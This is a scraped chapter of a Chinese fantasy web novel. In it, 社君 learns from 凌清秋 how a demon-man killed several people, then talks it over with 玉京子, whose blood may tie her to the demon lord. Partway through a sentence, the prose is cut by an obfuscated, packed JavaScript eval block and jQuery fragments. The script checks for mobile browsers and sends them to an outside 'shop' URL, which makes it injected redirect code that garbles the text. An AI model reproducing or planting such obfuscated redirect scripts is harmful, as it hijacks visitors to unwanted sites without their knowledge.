39. 第三十六章 欺上瞒下

作品:《人间乌龙

    社君问得艰难,凌清秋倒是答得痛快。


    “大概是知道了,但还需要再核实。”


    “哦哦。”社君抿了抿唇,“那你……”


    “是通过血液。”


    凌清秋直截了当,不给社君任何思考时间,把答案砸在社君身上。


    “哦哦,还……还挺出乎意料的哈……”


    藏在心底最深处的怀疑被证实,社君一颗心都被揪了起来,声音也不可避免的有些颤抖。


    他不知道凌清秋和云霄宫对玉京子有多少了解,思虑再三还是问道,“那你……有什么想法?”


    凌清秋突然回过头,“你有什么想法?”


    “我?”社君也转头,和凌清秋对上视线。


    屋内昏暗,烛火在凌清秋身后,社君看不清他的眼神,但自己眼中的震惊和慌乱却被烛火映照的一览无余。


    “我能有什么想法?现在血液和人魔都不是最重要的,最重要的是带你出去!”


    见社君不接茬,凌清秋回过头,极淡地笑了一下,“我也希望她能平安……”


    “什么?”他的声音太轻,社君的心跳声又太重,便错过了这句话。


    “不用管我。度支使被杀,香獐是无权定罪处理的,必得传回有利。我们本来也是要去有利的,如今能得官兵护送,倒省了很多麻烦。”


    ……那叫押送,社君懒得纠正,又从凌清秋的话里意识到什么。


    “王彰真的死了?”


    凌清秋点点头,声音低落而沉痛,“陈嘉容杀的。没有魔血加持,不是所有人族都能承受住魔气,与其让他受魔气折磨,痛苦而死,还不如给他个痛快。”


    社君不知该说些什么好,他想问问凌清秋,为什么要把这些话告诉他,为什么骗了玉京子又对他知无不言,是不是知道了什么……


    “除了王彰,另死的那些……”


    “前三个是他杀的,后两个不是。”凌清秋眼神盯着鞋尖,眼神空洞又专注,“魔气会消散,魔血不会,那东西太难缠,他也没办法。”


    “那陈嘉容现在在哪?”


    凌清秋听他问的急切,扯了下嘴角,“当然是藏起来了,他知晓了如此惊天的秘密,想对他动手的人应该很多吧……”


    社君被噎了一下,“藏能藏住吗?我看还是派些人保护他吧。”


    见社君就这样装傻,凌清秋再也压制不住嘴角,连声音都染上笑意,“社君,你也知道,藏是藏不住的。”


    屋内寂静,蜡烛火芯的爆裂声格外清晰。


    “陈嘉容已经去有利了,凌氏会庇护他,我跟着官兵走,云霄宫那边还得让云身回去一趟,说明情况。”


    社君沉浸在自己的思绪里,没有对凌清秋的安排没有异议,“……好,我和玉儿在有利等你们。”


    直到社君走出监舍门口,直到监舍被重新挂上锁链,直到抬头注意到月色扩散,把整个天空都染成鱼肚白,他才对玉京子感同身受。


    正是因为知道真相是自己无力承受也无法改变的,才不想太早说出来。


    站在屋门口,社君背倚栏杆,努力整理心绪,不想让玉京子看出一丝破绽。


    屋门倏地被拉开,惊得他一下子站直身体。


    “站这么久,想什么呢?连我过来都没察觉。”


    社君跟着她走进去,关好房门,“怎么没睡?”


    “睡不着啊。总感觉怪怪的,但又不知道是哪里出了问题。”


    玉京子坐在桌旁,撑着脑袋,眼睛微眯,明显是强撑着困意的。


    社君见她这个样子,忍不住勾了勾嘴角。


    “你去看了人魔了,什么情况?”说着,玉京子还打了个哈欠。


    “人魔……”社君顿住,有些心虚地避开玉京子的眼神,提起茶壶想缓解一下紧张,却发现茶壶里面空空荡荡。


    玉京子见状,就要下楼添热水,社君赶紧拦住,“别去了,我也不是很想喝。”


    “啊?”玉京子虽有不解,但还是顺从地坐下,将茶壶放回原位。


    社君舔了舔有些干涩的嘴唇,终于下定决心,开口解释,“元吉、黄骝、钱卓和王彰,都是陈嘉容,也就是那个人魔杀的。”


    玉京子见社君表情凝重,困意全部被驱散,心里升起一股不好的预感,“…凌清秋会看着陈嘉容杀王彰?”


    “切颈只是让他少受些折磨而已,免得落得和雁灵城外爆体而亡的镖师一样的下场。”


    “…什么意思?”玉京子再也维持不住表面的平静,她好像已经听到了自己牙齿撞击在一起的声音。


    “毕竟,没有魔血的加持,一般的人族是承受不住魔气的。”


    社君声调没有起伏,语气算得上平静,但是那一双眼睛始终落在玉京子的脸上,没有半寸偏移。


    听到社君如此说,玉京子心里紧绷的弦反而松懈下来,她又和社君对视一会儿后,长舒一口气,仰起头面向天花板,又活动了一下脖颈。


    半晌,她双肘撑在桌子上支起脑袋,侧着头看向社君,语气轻松,“凌清秋知道吗?”


    “知道如何?不知道又如何?你要杀了他吗?”


    社君感觉自己心跳再一次加快,他想如果玉京子同意,在香獐府狱动手是最方便不过的。


    玉京子看着他的眼神变化,似乎知道他在想什么,轻笑出声,“即心是真的骗了我啊……他说我进不去寺庙是因为恶业加身,杀孽重,”她说着摇了摇头,“你都能毫无负担地走进去,那我进去应该是舒服得想睡一觉才对。”


    社君脑子转了一下,才想明白她在说什么,但是他现在没心思还击玉京子的打趣,继续刚刚的话题道,“不杀他,也许会误事。”


    “误事……”玉京子将头转回去,目光落在虚空中,没有支点。


    “丹曦山、云霄宫、玄介卿、李劲松,甚至说你我,身上都是同一件事,就是除掉魔君这个祸患,将整个魔族连根拔起。只要凌清秋的目的也是这个,那他做什么都不算误事。”


    “可如果他把你和魔血联系在一起,那云霄宫那边……”


    “你把我想象成什么天命加身的大人物了吗?”玉京子眼神未变,唇角浮现出笑意。


    “我娘是丽纹蛇,我爹…我爹是角蝰蛇,我们蛇族惯用毒液,有和我一样能控制血液的也不奇怪。若非说我与魔君有什么联系,最多也就是我们都是蛇族,就算云霄宫知道了又如何?难道一条蛇入了魔成了魔君,那天下的蛇就都要被赶尽杀绝吗?”


    社君看着她的侧脸,张了张嘴,却什么也没说出来。


    即使背对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964554|188055||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着,玉京子也感觉到社君的忧虑,她感觉社君眼神里的担忧如有实质地压在她的脊背上,让她只有费些力支撑才能坐得笔直。


    她闭上眼睛,再一次坚定自己的决心,“更何况,若是只有杀尽天下之蛇才能还妖族和人族太平……那我也绝无二话。”


    “玉儿……”社君将手搭在她的肩膀上,“玉儿…”


    察觉到肩膀上的颤抖,玉京子侧过身,将社君的手握在自己手里,脸上的表情温和轻松,语气也带着宽慰。


    “比起凌清秋将我的情况告诉云霄宫,然后冒出一大堆修士来杀我,我更担心他因为害怕我与魔血有关联而动摇道心。”


    “若是他因为救命之恩和几日情谊,就将如此重大的发现隐瞒下来,那我真的要考虑对他动手了,我可不想让李劲松费尽心力的云霄宫,最后落到一个是非不分的人手中。”


    社君怔住,眼珠转了转,回想起和凌清秋在监舍中的对话,他突然意识到一个问题。


    “他可真行……”


    听到这样没头没尾的一句话,玉京子眼神带着询问地看向社君。


    社君冷笑一声,“他让我告诉水云身回云霄宫带话。”


    “带什么话?他自己怎么不回去?他还要关多久?”


    社君听到玉京子的问题更是直接笑出声来,“这个人族小子,自己躲在府衙里不出来,还不和你讲实话,原来是想把问题全抛到我一人身上!”


    “我说呢,事结了,人死了,怎么不走呢?这个小兔崽子,说不定是自己报的官,跟我玩贼喊捉贼呢!”


    “老子真是白活这一百多年了,让这个还不足而立的小娃娃给骗了!”


    社君越想越气,索性直接站起身,叉着腰,平复了好一会呼吸。


    “你……你在说什么啊?”


    社君深吸一口气,想好好和玉京子说说这人族小子心有多黑,但是俯视着那双懵懂而黑亮的眼睛,他又把话咽了下去。


    ‘算了,这点雕虫小技就把我骗了,告诉玉儿,玉儿还以为这小子有多聪明呢,我呸!’


    “咳咳…”社君清了清嗓子,再次坐回椅子上,只是神色有些不自然,“我是说那小子…医人看过了,说他啥事都没有,全是皮外伤,我刚刚也去看了,好得很,睡得呼呼的,还是我一进监舍给他吵醒的呢!”


    社君越说越起劲,笑容里也多了点邪恶,话里也有些咬牙切齿的意味,“什么狼狈虚弱的可怜样子,都是演给你看的!这小子一天成能装了,我们都得小心点他!”


    玉京子有些看呆了,她不知道为什么社君情绪转变如此之快,但是她敢保证,凌清秋一定是做了什么错事给社君得罪了,否则不会遭到如此严重的诋毁!


    “听到没有,离他远点!以后他跟你说了什么都要告诉我,知道吗?”


    “哦哦。”玉京子看人在气头上,不敢有一秒迟疑。


    社君见她答应得如此迅速,再一次强调道,“我没跟你开玩笑,你别被人卖了,还给人数钱呢!”


    “我知道了!我会告诉你的!”玉京子一边点头,一边语气坚定道。


    玉京子的乖顺很大程度上安抚住了社君内心的怒火,于是他一摆手,“算了,我不和小孩计较!”


    “所以他什么时候回来啊?”